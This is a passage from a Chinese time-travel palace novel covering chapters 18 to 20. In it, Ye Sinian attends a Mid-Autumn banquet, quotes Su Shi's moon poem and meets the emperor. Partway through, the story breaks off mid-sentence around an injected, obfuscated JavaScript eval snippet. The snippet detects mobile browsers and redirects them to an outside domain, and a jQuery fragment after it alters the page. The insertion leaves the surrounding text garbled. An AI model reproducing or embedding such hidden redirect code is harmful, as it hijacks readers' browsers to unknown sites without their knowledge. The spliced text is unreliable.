瑾年撇了撇嘴,眼中透着几分不甘,但在叶斯年平静的目光下,终究没再多说什么。卫珩则微微颔首,快步离去,身影很快消失在院门外。 与此同时,东宫寝殿内,赵煜正凝神审视一份刚送来的密报,眉头微蹙。信中提及,花月阁新近在长安府修建了一座新楼,虽尚未启用,但已安排掌柜和账房等人先行入驻。然而,长安府知州苏廷章未批相关文书,导致双方僵持不下。花月阁显然不会就此罢手,估计近期会采取其他手段推进此事。 密报还提到,班主此前多次拒绝花月阁的安排,早已招致不满。其死虽未引起花月阁的过多关注,但他们已经查到宁安郡主带走了那名女巨人。所幸花月阁眼下忙于长安府事务,无暇深究此事,但风声恐怕不会就此平息。 只要花月阁的目光还锁定在叶斯年身上,这件事就远远没有结束。赵煜揉了揉额角,心里盘算着如何应对,正思索间,一名宫人匆匆走进来,低声禀报:“皇后娘娘请太子殿下前往坤宁宫。” 坤宁宫夜色渐深,赵煜走出殿门,凉风扑面而来,月色渐盈。宫墙之上的清辉空寂冷清。他驻足片刻,目光落在遥远的天际,月亮似圆非圆,倒是令人期待几日后的中秋佳节了。 瑶京的气氛因中秋将至而愈发热闹,街头巷尾张灯结彩,满城流光溢彩。宁安王府也因乔迁而忙得不可开交。 叶斯年站在新居的院中,望着灯笼在微风中轻轻摇曳,红光映在青砖白瓦之间,仿佛一场电影开场的光影,将她的思绪拉回了那个熟悉的世界。 他们那里称月亮为“月娘”。每到中秋,家家户户都会在门前摆上供桌,供奉“月娘”。供桌上摆满应季的果品和月饼,还有一盏灯笼,为月娘引路。小孩子也会将自己的文具一并摆上,郑重其事地跪在供桌前,虔诚地掷圣杯祈愿。 小时候,她的愿望总是简单而纯粹——好好学习,考个好成绩,得到父母的认可。她已经很多年没有许愿了,也不知这轮明月,是不是她跪拜过的月娘。 明月依旧皎洁,却总是遥不可及,宛如镜中月影。她伫立在这不知名的时空里,看不清来时路,也不知她决心要走的那条名为“女性”的路,是否存在。 与此同时,靖北州风沙大作,漫天尘沙遮天蔽月。 叶绍与叶承骁策马疾行在关外官道上,风尘仆仆。忽然,远处传令兵飞马而至,将一份密函递到叶绍手中。他接过密函,略一展开,目光瞬间凝重,眉头微蹙。他沉声一喝,随即策马扬鞭,朝瑶京府方向疾驰而去。 18. 谪仙临世 明月高悬,灵隐寺的钟声悠扬低回,随晚风翩然而至。钟声与烟花的炸响交织,璀璨的火花绽放于天际,又缓缓落入瑶川,宛若点点繁星坠凡尘。 瑶川两岸的高楼上,女子临栏而立,衣袂轻扬,宛如月下仙子,在琴箫和鸣中吟唱诗词,歌声清远婉转,随香风散入天际,弥漫在这无垠的月色之中。 瑶川上五彩斑斓的花灯随波荡漾,或为金莲,或为并蒂,载着人间的祈愿与祝福,缓缓漂向远方。河岸两侧,杨柳依依,垂丝轻拂水面。月光透过枝叶在水面留下缕缕剪影,似碎玉流光般洒落在河面上。 偶有孩童提着兔灯在河岸奔跑,脆生生的笑声如珠玉落盘。他们追逐着彼此,脚步轻快得像风中纸鸢。灯光在他们稚嫩的小手下摇摇晃晃,映得小脸通红。偶尔,他们急急停下脚步,捧着兔灯仔细瞧上一眼,生怕火苗熄灭。那神情认真得让人忍俊不禁,也让人觉得无论在哪个世界,孩童的童真总是一样的。他们明亮得像夜里跳动的星星,在黑暗中熠熠生辉。 宁安王府的花园中,更是一派繁花似锦,万千秋菊恣意怒放。月光为每一朵菊花镀上浅浅的银辉,花影婆娑,似与月光共舞。 叶斯年端坐在铜镜前,青枝将她的发髻梳成端庄的垂髻,发间只簪了一枚玉兰簪,玉质温润剔透。耳畔只一对珍珠点缀,柔和的光泽衬得她沉静如水。 她身着一袭浅杏色交领襦衣,袖口以银线细细绣出流云纹。外罩一件石青色绫罗褙子,褙子的衣缘与袖口绣着蝶恋花纹,长长的衣摆垂至足面。下身搭配一袭月白色的百迭裙,裙摆上细细绣着缠枝花卉纹,层层叠叠的褶皱在行走间摇曳生姿。腰间系一条杏黄色绣纹腰带,精致的香囊与流苏垂落一侧。 她手心渗出薄汗,心跳如擂鼓敲击着每一根神经,脑海中反复演绎着各种可能发生的变故。然而,她依旧强迫自己镇定,从容大气地迈步向前。经历过一次死亡,她推翻了过往三十二年里所有的隐忍与被动,带着悔恨与遗憾重新开启属于自己的人生。她从涅槃中淬炼出的沉稳与坚韧,绝非一个十六岁少女所能伪装。这也叶绍反复叮嘱的重点——宁可有所疏漏,也不要刻意求全。 沉重的裙摆与褙子在身后轻扬,她步伐稳健,如利刃归鞘。青枝随侍在旁,两人一同登上马车。前方,叶绍的车辚辚而行,两位兄长策马紧随,队伍行进间透着将军府该有的肃然与威仪。 马车缓缓穿过皇城区,街道两侧飞檐高耸,仙人走兽在灯火与月光交织中若隐若现,见证着这座古老城池的每一次变迁。她轻轻掀开帘子,目光穿过夜幕,落在巍峨的宫墙之上。月色如水,灯火如星,将金碧辉煌的宫殿笼罩在一层朦胧的光辉里,宛如一幅笼纱的画卷,古老而神秘。 可这“古老”之,不过是对她而言。景和年间的大沅盛世正滚滚向前,承载着无数人的命运奔腾不息。她与赵煜,像两颗意外滑落的流星,骤然坠入这片历史的天幕之中。 这方天地的历史,是否会因他们这两个不速之客而改写?抑或他们的到来,本就是此间历史早已书写好的篇章? 马蹄声哒哒作响,仿佛敲打着她的心弦。她的心头一阵恍惚,也许自己终究不过是此间的过客。这盛世繁华,于她而言,或许终究只是一场虚无缥缈的梦。 一名宫人策马疾行而来,低声与叶府管家交涉,听语气似是二皇子府上的人有急事回宫,请宁安王府一行暂且避让。叶斯年闻声轻轻放下帘子,纷乱的思绪也随之收回,缓缓归拢。 昨夜的情景依旧清晰如昨。叶绍风尘仆仆地踏入府中,未及换下那身沾满风沙的披风,便匆匆遣人将她唤至书房。 “靖州府转运使司上报了一起军马走私案,”叶绍开口,语气低沉而凝重,“官家未公开处置,直接将此案交由我查办。” 叶斯年闻言,心中微微一凛。军中要务向来是机密,叶绍为何会同她提起? 她正疑惑时,叶绍接着说道:“这件事牵涉甚广,我追查到了春满楼掌柜的痕迹。春满楼是花月阁的产业。虽然背后的大东家一直未露面,但可以确定,是一批势力在暗中操控。” 他摇了摇头,眉宇间透着隐隐的压抑:“军马走私绝非小事,没想到花月阁的触手竟已伸到军营中。” 他话锋一转,目光沉静地看向叶斯年:“我听说,你从杂技班中救下了一名女巨人,也听说那个杂技班的班主死了。你可知道,这件事与军马走私有何关联?” 叶斯年愣了愣,摇了摇头。她实在想不通,这才刚入这个世界不过半月,怎么就陷得这么深。这些事,究竟是她的到来引发的变数,还是本就暗流汹涌? 叶绍盯着她,眼中多了几分复杂:“那个班主的死,并没有多大影响,听闻已经结案。问题出在你身上——你的出现,无论是抢人也好,与太子交好也好,都向外界传递一个明确信息:太子与叶府交好。明晚的宴会,众所周知,是要为太子选妃的。” 他放下茶盏,目光沉凝:“刑部尚书李谟德是当朝太师、尚书令李谟远的弟弟,也是当今皇后的弟弟。大理寺卿杨应昭,是李家的女婿。官家此举,显然是为了避开李家。至于此案牵扯到了花月阁,以及李家和花月阁的关系,恐怕也在官家意料之中。” “目前知枢密院事一职空悬,朝野上下都在揣测圣意。若我被封此职,叶府的地位几乎要李家平起平坐了——但叶家根基尚浅,稍有不慎就会遭到权力的反扑。” 他顿了顿,眸光更深:“倘若再出一位太子妃,那官家显然是有意以叶家来制衡李家。” 说到此处,他望向叶斯年,目光深沉而复杂:“你所在的时代,其思想与制度必是经过数千年王朝更迭的验证。然而,权力的漩涡是一环扣着一环,是非对错皆被立场裹挟,没有人能独善其身。花月阁背后盘根错节,太子经营多年了不也无从下手吗?” 他语气顿了一瞬,最终沉声道:“太子和皇后暂且不论,李家与花月阁的关系尚不明朗。如今官家将我推到明面上,是为了借我之手探查花月阁。那么太子妃的位置,你觉得他们会轻易让给叶家吗?” 叶斯年一路回忆着昨夜与叶绍的对话,不知不觉间,马车已在御花园外停下。叶绍昨夜的叮嘱犹在耳畔,她在心中一遍遍回想,唯恐有任何疏漏。可当眼前的光景映入眼帘时,她的心神还是不由自主地被吸引了去。 御花园的盛大夜景宛如一幅流光溢彩的画卷,在悠扬的宫乐中徐徐铺展。无数宫灯高高悬挂,灯光如倾泻的星河,将整座园林点缀得璀璨辉煌。玉阶与雕栏现出温润如脂的光泽,在灯火映照下仿佛披上一层轻柔的金纱。繁茂的花木间,琉璃宫灯错落点缀,晶莹剔透的灯罩映出五彩斑斓的光影,洒落在花丛与流水之上,金光闪烁,处处皆诠释着繁华的极致。 湖面倒映着无边的灯火与月色,波光粼粼间甚是热闹。曲折回廊上,绣着精美花纹的纱帘随风轻拂,帘后不时隐现衣香鬓影,笑语低回,与远处传来的乐声相应和,宛若仙界盛筵。 官家与文武百官的宴席设在御花园中央,而女眷则被安排在内苑。叶斯年下了马车,在侍官的引领下,携青枝一路向内苑而去。 世家女眷早已到场,四下里都是叶斯年不熟悉的面孔。青枝站在一旁,小声地在她耳边提醒着几位较为显眼的娘子的身份,声音压得极低,唯恐冒犯这些身份尊贵的女眷。 公主与郡主的座次被安排在皇后的右侧,依身份高低依次落座。叶斯年作为异姓郡主,被安置在主宾席的最外侧。世家娘子的位置,则在公主、郡主及命妇的后面,列成几排。 几家娘子正聚在一起低声交谈,偶尔掩唇轻笑,眼神却不时瞟向她这边。也有几位款款走来,向郡主行礼。叶斯年微微颔首,简洁回礼,却不愿多作应对,担心言多必失,索性扶着衣摆,从容地落座。 她甫一落座,一名宫人便俯身向前行礼,压低声音说道:“内侍省有事相请,请郡主移步翠竹轩。” 叶斯年微微一怔,余光扫了眼四周,见眼下已无人注意,随即起身,略整衣裙,向宫人点头示意:“带路吧。”心中却忍不住冷笑:“这太子又想搞什么幺蛾子?” 叶斯年与青枝一路随宫人穿过御花园的花廊,步入一片偏僻的回廊深处。周围的喧闹渐渐远去,四下里只剩月光与树影交织,连风声都带着几分清凉与寂静。正当她准备开口抱怨,眼前却出现了一个从未见过的身影。 那人站在长亭中,月光洒在他身上,仿佛为他镀了一层霜雪。他身着深蓝色锦袍,衣领处用银丝绣着流云暗纹,清贵内敛。待他几步走近后,叶斯年这才看清他的面容——肤白若雪,五官清隽,眉目间透着几分风流俊逸。 “好久不见。”男子声音低沉,语气中带着一丝若有若无的笑意。 叶斯年一时错愕,在脑中迅速翻找记忆,可以确定,自己来此间多年的时间里从未见过此人。 对方似乎察觉了她的疑惑 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叶绍昨夜语重心长地嘱咐了许多事,关于皇后、花月阁、李家的复杂关系。他们一一剖析利弊,把可能的变数推敲得仔细入微。然而,她万万没想到,今夜的变数,竟是斯年曾经结下的缘分。 可眼下,这个男子为何会出现在皇宫的御花园?斯年从前只提起过一位翩翩公子,连姓甚名谁都不知。如今,这人却堂而皇之地在御花园中邀她相见,显然早已知道她的身份。可若如此,去年一别,为何不曾再找斯年?而如今,却在这样的场合冒险相邀。这人究竟是谁家的公子?意欲何为? 叶斯年正准备回座,忽然瞥见暗处窜出一个黑影。她一路提心吊胆,刚刚才被吓过一次,如今又来这一出,火气瞬间涌了上来,刚靠近不等看清来人,直接一拳挥了过去。反正叶将军说了,要有所疏漏。 那人轻松抓住了她的拳头,叶斯年冷笑,腰身一转,另一拳直砸他的腰腹,却被对方手臂挡下。来人低声急道:“火气这么大!”然而叶斯年根本没有停下的意思,抬手又是一拳砸过去。 见状,对方干脆抬手扯下脸上的黑色面罩,露出一张熟悉的面孔。 “太子殿下?”叶斯年瞬间瞪大了眼睛,语气夸张,表情更是带着几分嫌弃。她随即收手,匆匆拱手道:“臣女失礼了。”话音未落,她已经转身快步离开,连头也不回。 靠近的时候,她便闻到了他身上浓烈的檀香味,不是赵煜还能是谁? 赵煜站在原地,一边揉着被她砸过两次的手臂,一边哭笑不得地看着她的背影。他无奈地追上青枝,低声问道:“你家郡主吃炸药了吗?” 青枝忍着笑意,低着头,碍于赵煜的身份不敢失礼,只得认真回道:“有个公子认得我家娘子,邀她到长亭一聚,可郡主不认得他。” “认得你家娘子?”赵煜闻言,眉头一皱,稍作琢磨便想明白了其中缘由,脸色顿时沉了下来。他快步追上前,目光带着几分冷意。 叶斯年见他还跟着,心中愈发烦躁,回头冷声道:“你不去主会场,在这里鬼鬼祟祟做什么?堂堂太子能不能矜贵点?刚刚那个公子跟谪仙似的。你看看你,穿得乌漆麻黑,像要做贼!” 说完,不等赵煜回话,她便转身快步离去,只怕比皇后晚一步落座,引来不必要的麻烦。 赵煜站在原地,脸色一变再变,最后忍不住揉了揉被打过的手臂,低声嘟囔道:“谪仙?就苏廷章那厮?我还不是怕你被他几句花言巧语给诓了才匆匆赶过来!” 卫珩不知从哪里冒了出来,拦住赵煜,低声说道:“殿下,宴会要开始了,您得赶紧回座。” 赵煜提步往前走,忿忿说道:“卫珩,我要是再去找她,就是犯贱!” 卫珩微微一怔,低头恭敬答道:“是。” 赵煜猛地转过头,语气中透着几分恼火:“是什么是!你知道什么?我这是在担心她!探子说苏廷章通过内侍省进了内苑,我就猜到苏家想用美人计拦下郡主,保不准会做出什么毁人清誉的事!就他那德行,还谪仙一般呢?” 卫珩立刻接口,神情一本正经:“殿下,那这美人计成功了吗?” 赵煜脚步一顿,又转头瞥了他一眼:“我不是拦着了吗?” 卫珩犹豫了一下,小声补了一句:“是,殿下比谪仙还好看。” 赵煜抬腿踹了他一脚,没好气地道:“什么谪仙,那厮也配叫谪仙?” 19. 贵女云集 世家贵女,衣香鬓影,锦衣霓裳随步微曳,裙裾轻拂地面。发髻间有珠翠点缀,玉钗琳琅,于灯影下熠熠生辉。众人眉目间自有矜持,神色间亦显骄傲,举手投足之间,尽显养尊处优之态,风华自生。 皇后携数位贵妃与公主缓缓步入席间,众人目光霎时汇聚,如皓月临世,光华倾洒,照彻四方。皇后身披暗金鸾凤朝阳纹华服,锦绣流光,华贵非凡;九尾凤簪高簪于髻,垂珠轻晃,步履间自有端庄威仪,眉目含威不怒,气度雍容,众生难及。数位贵妃随后而至,妆容各异,衣色纷呈,或妩媚含笑,或端庄典雅;曳地罗裙随步微摇,仿若流动画卷。诸公主各自妍丽,鬓间珠玉流苏轻颤,腰系禁步,金丝串翡翠珍珠,垂坠间光华流转,步履翩然,气度天成。 叶斯年心底泛起一阵寒意。眼前这位母仪天下的皇后,举止雍容端庄,风姿无双,却心机深沉,步步算计,将斯年逼上绝路。无论是叶绍口中的戒备,还是赵煜言语间的提防,都足以说明此人城府之深,手段之狠。 皇后端然落座,目光从容地扫过众人,唇边漾起一抹端庄的微笑,缓缓开口道:“今夜月明清辉,正是良辰美景。官家体恤百官辛劳,特设此宴,与诸位共庆中秋佳节。家宴之席,不拘礼数,诸位尽可畅饮欢谈,以慰平日辛勤之劳。” 一女子起身,盈盈施礼,手持玉盏,唇边含笑如春风拂面,仪态端肃雍容。她位列皇后之右,尊贵之姿无需言表,正是大沅的长公主。她身着缎面绛紫长裙,金线绣成的飞云纹自裙摆蜿蜒至衣襟,流光隐现,华贵不凡。衣襟细缀珍珠,柔光微动,衬得肌肤如玉凝脂,光华灼灼。她发髻高挽,簪以一顶山口冠,金饰以缠枝莲纹相衬,流苏垂缀红玉珠串,步履间轻轻摇曳,似有凤羽飞扬之势,威仪天成。耳畔的红玉坠与冠饰交相辉映,既显高贵雅致,又隐透一丝凌厉之气,令人不敢轻视。 长公主起身,缓缓举杯:“官家圣德仁心,体恤百官;圣人温惠慈仁,恩泽四海。此乃大沅之幸,亦是吾等之福。敬官家与皇后,愿大沅江山永固,国泰民安!”声音虽柔和,却透着一股不容置疑的威严,清亮的嗓音回荡在席间,隐隐如玉石相击,余韵悠长。她话音刚落,席间众人便纷纷起身举杯,赞声四起,笑语盈盈。 皇后抬眸淡淡扫了长公主一眼,目光深沉,唇边的笑意稍稍敛去几分,转瞬便恢复如常。她静默片刻,缓缓举起玉盏,轻抿一口,将视线落向席间众人,语气虽带着欣然,却隐隐透出一丝难以察觉的疏离:“今夜月明如水,当与诸位共庆良辰,共赏这人间胜景。本宫久闻瑶京城中,才情兼备的娘子甚多,诗画皆有独到之处,本宫心中尤感欣喜。如此良夜,正宜应景抒怀。” 她的目光在叶斯年身上似有若无地停留片刻,随即转向殿外,声音柔和而不失威仪:“明月高悬,院中已备下笔墨纸砚。诸位不妨移步花园,共赏清辉,若兴致所至,可随意吟诗作画,权当一场闺中雅集。若有佳作现世,呈予官家,定然有赏。” 众人移步至院中,玉阶之下,纸墨笔砚,备置齐全。月华如水,于宣纸之上铺就一层清辉。几位世家娘子相视一笑,低声商议后便纷纷上前,有人执笔挥毫,笔锋起落间墨香四溢,勾勒出远山近水、疏影横斜;有人凝神题词,娟秀的字迹在纸上缓缓铺展,诗句或清丽婉转,或豪情万丈,引得旁人低声赞叹;更有才思敏捷者当场赋诗,一气呵成,声情并茂,满座皆称妙。玉阶之侧,翠竹微微摇曳,叶影斑驳,簌簌声细碎如幽幽掌声。 李家的嫡女李蔚华,自然是诸位娘子中最为耀眼的存在。她乃皇后亲侄女,眉目间隐约透着几分与皇后相似的雍容风华,气宇不凡。她的庶出的长姐李书华便是大理寺卿杨应昭的大娘子。虽如今官家有意疏远李家,李谟远在朝中挂了一个虚职的尚书令,但依旧是位高权重的当朝太师。李蔚华举手投足间,浑然天成的傲然气度,是李家数代权贵堆砌而成的,不染一丝凡俗烟尘。 席间一女子身着浅杏色长裙,裙摆以金线勾勒团花纹样,步履间裙裾微扬,整个人宛若碧波上的清莲,清雅脱俗。她的容貌更是动人,肤若凝脂,眉如远黛,五官精巧如天工点染,神形俱妙。 叶斯年不觉看得出神,直至四周响起低低的惊叹声,她方才惊觉,目光落在那女子的画作之上。 不过片刻,此女子便将御花园一隅勾勒得栩栩如生。画中女子神态各异,仿佛置身月宫盛会。或许因时间所限,画中仅绘数位女子,画面略显孤寂清冷,然其格调与气韵,却已隐隐透出《韩熙载夜宴图》般的风采。 皇后展画细细观赏,眸中流露出一抹难掩的欣赏之色,片刻后含笑说道:“此画笔意隽永,与今夜的雅兴相得益彰。短短时辰便能绘得如此佳作,果然不愧是苏仆射的女儿。” 此言一出,叶斯年这才恍然,此人正是苏家的嫡女苏云卿。她记得初见赵煜那日,叶绍曾提及太子妃的候选人,分别来自范家、杨家与韩家,还特意提到过这位苏家娘子。 皇后的话虽是夸赞苏云卿,目光却似有若无地落在叶斯年身上,仿佛在等待她的回应。叶斯年立在原地,目光流连于苏云卿的身影,心中暗自感慨:世间竟有如此女子,才情与风华兼具,宛若月宫仙子临凡。再看那幅画作,纵使叶斯年并不通晓绘画,也能感受到画中人物神态各异,意境悠远深邃。她独具一格的画风,赋予了画中人物生命,眉目之间似有情愫流转,令人一望便觉韵味悠长,难以忘怀。与之相比,她不禁心生几分自惭形秽——风华绝代者自有真才实学,她此番贸然出头可真是班门弄斧。 “罢了,这一回,就当是为了在官家面前留下个好印象,日后行事便利些。”她轻轻叹了口气,目光微微一转,眼神中透出几分清冷的决然,“总得让人知道,宁安郡主既无癔症缠身,也非疯癫之人。名利之争终非所愿,荣耀理应属于苏云卿这般风华绝代的女子” 她心中不免介怀:若以“借来”的诗词夺了苏云卿的风头,未免有违本心。心念至此,她略作调息,随即提步上前。 “苏家娘子画作传神意远,艳照古今,斯年心生景仰。若云卿不弃,斯年斗胆题上一拙词,权作应景之意。” 苏云卿神情一顿,眸中闪过一丝复杂的情绪,却很快隐去。她唇角轻扬,略微欠身,声音清雅动人,如山间清风般娓娓而来:“久闻斯年郡主大名,今日能得郡主为拙作题词,实属荣幸。” 席间,一些窃窃私语隐隐传来,言着有意无意地让人听见。一位贵妃微微侧身,掩唇轻笑,与身旁的人说道:“这位新晋郡主倒是懂得讨巧。”话音不大不小,却恰到好处地落入众人耳中。 叶斯年心中明了,众人的窃语无非是在讽刺她见苏云卿的画作惊艳绝伦,生怕自己的诗作难登大雅之堂,索性借着题词之举,借光于苏云卿的画作,在官家面前博个脸面。然而,她的本意却并非如此。她并非想依附苏云卿的画作,而是担心自己会抢了苏云卿的风头,平白让这位才华横溢的娘子难堪。 她轻轻抬眸,目光落向座上的皇后,眼神中带着几分恭敬,微微颔首以示礼意,举止间自有一派胸有成竹的气度。 皇后目光淡然,从容地落在叶斯年身上,微不可察地颔首回应,面上的笑意柔和如水,却深不见底。 苏云卿在一旁略显为难,却也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698880|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好拂了这位新晋郡主的意,更何况众人都看在眼里,皇后对她的关注非同一般。这些细枝末节,叶斯年暂且置之脑后。她垂下眼睫,掩去眸底一抹冷意,手执毛笔轻轻停顿,似在酝酿沉思。 须臾间,笔锋轻转,墨汁淌下,宛如行云流水贯穿纸面。她的笔势瘦劲而挺拔,锋芒中蕴藏着灵动与风骨,洒脱自如间自成清逸凌厉之韵。这般风格独特的瘦金体,在这方世界的历史中尚未现世,而她对此已研习二十余载,时光之久远,甚至超越了这副身体的年岁。 她的笔尖在纸上游走,忽而一位娘子瞪大了圆圆的眼睛,掩住嘴角,忍不住低呼:“嗟乎!‘把酒问青天’!” 叶斯年闻声,笔锋微顿,不由轻笑出声,抬眸望去,只见那少女身着粉色襦裙,鬓间簪着一支银镶水晶步摇。少女察觉自己失态,连忙低头点了点头,眼神中透着几分羞涩。叶斯年微微一笑,抬手示意不妨。 众人的目光不约而同地汇聚到纸面,那瘦劲挺拔的字迹宛如刀锋划破静夜,透出一股清绝而凌厉的气韵。叶斯年执笔续写,笔尖划过纸面的声音清脆而悠长,在月光与灯火交织的氛围中愈显鲜明,仿佛暗夜中刀剑出鞘,锋芒乍现。起初尚有低声私语,不知不觉间,四周已悄然静谧,只余那笔墨游走的声响回荡在夜空下,令人屏息。 当最后一笔落定,叶斯年抬眸,清冷的目光如寒星点缀夜空,肃然而沉静。她微微侧身,轻吹去未干的墨迹,随即将词作郑重递向苏云卿。苏云卿显然没有料到,眉目间略显错愕,一时不知该如何接过。 有贵女忍不住上前几步,低声念出其中一句:“我欲乘风归去,又恐琼楼玉宇......”她的声音初时清晰,却在众人注视下越念越轻,仿佛被词句中蕴含的深意震慑,最终竟悄然止住。席间一片寂静,众人屏息凝神,目光交错间尽是惊艳与赞叹。 皇后见状,起身缓步上前,伸手接过画卷与词作,细细端详。她目光流转,难掩赞许:“‘人有悲欢离合,月有阴晴圆缺’,好词!” “明月几时有?把酒问青天。不知天上宫阙,今夕是何年。我欲乘风归去,又恐琼楼玉宇,高处不胜寒。起舞弄清影,何似在人间。 转朱阁,低绮户,照无眠。不应有恨,何事长向别时圆?人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。”【1】 长公主接过叶斯年递来的画卷,细细端详片刻,随即低声吟诵起画上的题词。她的声音低沉婉转,犹如月下清泉,流淌出一丝幽冷的韵味。诗句从她唇间缓缓吐露,似连夜色也染上了几分清寒。 皇后露出满意的笑容,转向身侧的内侍,语气中透着郑重:“如此佳作,绝不能埋没,即刻命人呈予陛下过目。” 宫人捧着诗词离去后,皇后端坐席间,目光却依旧停留在叶斯年身上,若有所思。叶斯年总觉得,皇后的笑意从未触及眼底。此刻,那目光中更添了几分审视与隐隐的责备,令人不由生出几分寒意。 场面一时有些沉寂,直到一位公主轻笑着打破了静谧:“斯年郡主果真才情卓越,日后不妨多入宫,与姐妹们为伴,也为后宫添些雅兴。” 叶斯年尚未来得及回应,皇后已然开口,声音温和,却透着几分意味深长:“不急,日后有的是时间。”她的目光在叶斯年与苏云卿之间缓缓掠过,语调轻缓,却难以揣测深意。 不稍片刻,一名宫人匆匆走入席间,跪地行礼后禀报道:“陛下口谕,请宁安王府斯年郡主及宣德公府苏娘子前往瑶光台。” 【1】本章引用北宋文学家苏轼的作品《水调歌头·明月几时有》,非原创。 20. 东华郡主 瑶光台上,官家赵义与百官齐聚,酒樽交错,谈笑风生。月光与灯影交织,映衬出一片祥和的气氛。 官家身边的内侍省近侍承旨永庆公公双手捧着一卷画卷,微微俯身,将画卷呈上,低声说道:“官家,这是皇后娘娘命人呈上的。” 赵义接过画卷,展开细看,眉宇微蹙,目光却透出一丝复杂的意味。他指尖轻触那行笔力遒劲的词,陷入了片刻的沉思。片刻后,他神色如常,将画卷递给身旁的太子赵煜。 “煜儿,你且看看,这画与词如何?” 赵煜接过画卷,目光随即落在画与词上。当他读到卷中诗词时,眸中骤然一亮,唇边不自觉扬起一抹笑意,心中暗道:“这就是叶斯年所说的“大闹一场”?那就陪她闹一闹吧。” 他略一沉吟,朗声道:“此词立意新奇,妙趣横生,尤其这‘但愿人长久,千里共婵娟’,更是点睛之笔。不知父皇可否召见,儿臣还想向她请教一二。” 赵义朗声大笑,语气轻快:“如此佳才,岂能埋没!宣!” 永庆公公领命退下,瑶光台上依旧歌舞升平,觥筹交错。御花园内苑的雅集却安静了许多,丝竹声悠扬,女子们轻声吟诵,各自品评画作与诗句。 皇后得了官家的口谕,轻轻放下手中的茶盏。她目光落在叶斯年和苏云卿身上,语气虽温和却不容置疑:“官家传召,随本宫一同前往瑶光台吧。” 苏云卿端庄行礼,声音清雅:“谨遵娘娘吩咐。”叶斯年也连忙起身,低头应道。宫女们迅速上前,扶起皇后的裙裾,细细整理华服。 青枝也快步上前为叶斯年整理衣衫。这一夜她一直候在后面,来回打听消息。叶斯年看见她,略感安心。青枝低下头,用极细微的声音说道:“太子传话,一切有他应对。” 叶斯年面上不见波澜,轻轻按了按青枝的手示意她放心。她抬头看向前方,紧紧跟随皇后与苏云卿的步伐,缓缓朝瑶光台方向走去。 月满□□,影乱幽深,月色如银瓶乍破,水光潋滟四溢。皇后的华服在夜色中流转出锋锐的光泽,步履间隐现刀光剑影,尽显威仪。 “两位皆才情卓绝,实乃大沅之幸。”皇后的目光悠悠落在苏云卿身上,语调不疾不徐:“苏娘子才艺超群,声名远播,本宫推举你入宫,想来是再恰当不过。” 随即,她的目光转向叶斯年,稍作停顿,意味深长地说道:“宁安郡主今日真是让本宫刮目相看。你二人皆为人中翘楚,今日合该共襄盛事。” 叶斯年垂眸应声。她自然知晓皇后又在敲打她了。 御花园正中央,瑶光台巍然耸立,四周环绕着琉璃宫灯,灯光泠泠如水,宛若仙人掌灯,辉映夜空。玉阶叠叠,曲折而上,雕栏飞翘,玉砌如冰。台上明月皎洁,银辉如练倾泻而下;台下流水淙淙,琴瑟和鸣,袅袅音律如烟似雾,宛若仙境。 太子赵煜端坐台侧,身着玄衣,银线勾勒出低调的龙纹,在灯火映照下微微泛光。他眉目微敛,神色如常,却在不经意间将目光投向台下叶斯年的方向。 两人目光短暂交会,叶斯年微微一怔,却随即敛眸低头,稳稳随着皇后的步伐踏上瑶光台。 此时,叶绍与另一位男子一同上前,那人衣冠整肃,举止从容,眉宇间透着几分儒雅风范,应是苏云卿的父亲——苏仲衡,朝中位高权重的尚书左仆射。 两位父亲恭敬行礼,站定于台前。官家目光扫过众人,神色之间隐隐透出几分欣赏与深意。这一瞬,瑶光台的华美与肃穆尽收眼底,似仙境,却也无处遁形。 官家步伐轻快地走到台中央,目光灼灼地落在叶绍身后端然立着的叶斯年身上。他手中展开方才的诗画,声音里带着几分难以掩饰的激动:“‘但愿人长久,千里共婵娟’,好一个流传百世的妙句!如此佳作,竟出自一位闺中娘子之手,实在令人惊叹。朕读来,只觉字字如珠,意境深远。你这字……飘逸挺拔,独具风骨,本朝还未见过这般笔法,倒像是那些来历不明的神迹!”他的目光略微停顿,似有所思,却未多言。 叶斯年早已在心中打好腹稿,微微俯身,声音清亮从容:“回禀陛下,臣女所感所思,皆因家事。父兄常年征战沙场,每逢佳节,臣女倍感思亲,只得遥望明月以寄相思。” 她顿了顿,眉目间隐隐透出几分忧愁,语气微微一黯,低声道:“然而母亲早逝,不知去了何方洞府。即便仰望星辰,总也不知该向何处寄托哀思。想来,只要人长久,纵使相隔千里,同在一轮明月之下,足矣。” 话音刚落,台上台下一片寂静,仿佛连空气都凝滞了片刻。百官的目光不由自主地聚焦在这位新晋郡主身上,心中各有所思。官家静静注视着叶斯年,眼神中浮现出一抹复杂的感慨,片刻后低声感叹:“好一个千里共婵娟!” 官家目光落在苏云卿与叶斯年之间:“才女佳作,果然不负今夜良辰。叶太尉与苏仆射教女有方,两位闺秀,皆是我朝之福。” 稍顿片刻,官家微微颔首,缓声说道:“朕素来敬重文才与画艺。苏家娘子的画作神韵独具,宁安郡主的词作亦是别开生面。如此才华若能为我朝所用,实乃锦上添花。” 说罢,他将目光投向叶绍,语气中多了几分意味深长:“宁安王府人才济济,着实令人欣慰。朕听闻你的大娘子出自李氏,家风谨严,难怪此女才华卓绝。” 叶绍立即上前一步,躬身应道:“谢官家隆恩。小女有此才情,皆赖官家雨露之泽。” 叶斯年随即低头行礼,声音恭敬而清雅:“臣女不敢居功,能得官家垂青,实为家门之幸。” 她垂下目光,面上保持着恰到好处的谦逊,内心却泛起涟漪。官家的话语虽满含赞誉,却隐隐传递着对宁安王府地位的深意。 官家眸光一转,环顾台上众人,朗声说道:“既然如此良辰美景,何不请诸位才子佳人尽情挥毫,博众人一赏?以满月为鉴,若能得佳作,朕必厚赐重赏。” 人群中,一位身着深青色官袍的男子缓步出列,俯身行礼,神态从容:“斯年郡主才学卓著,廷章可否请教一二。” 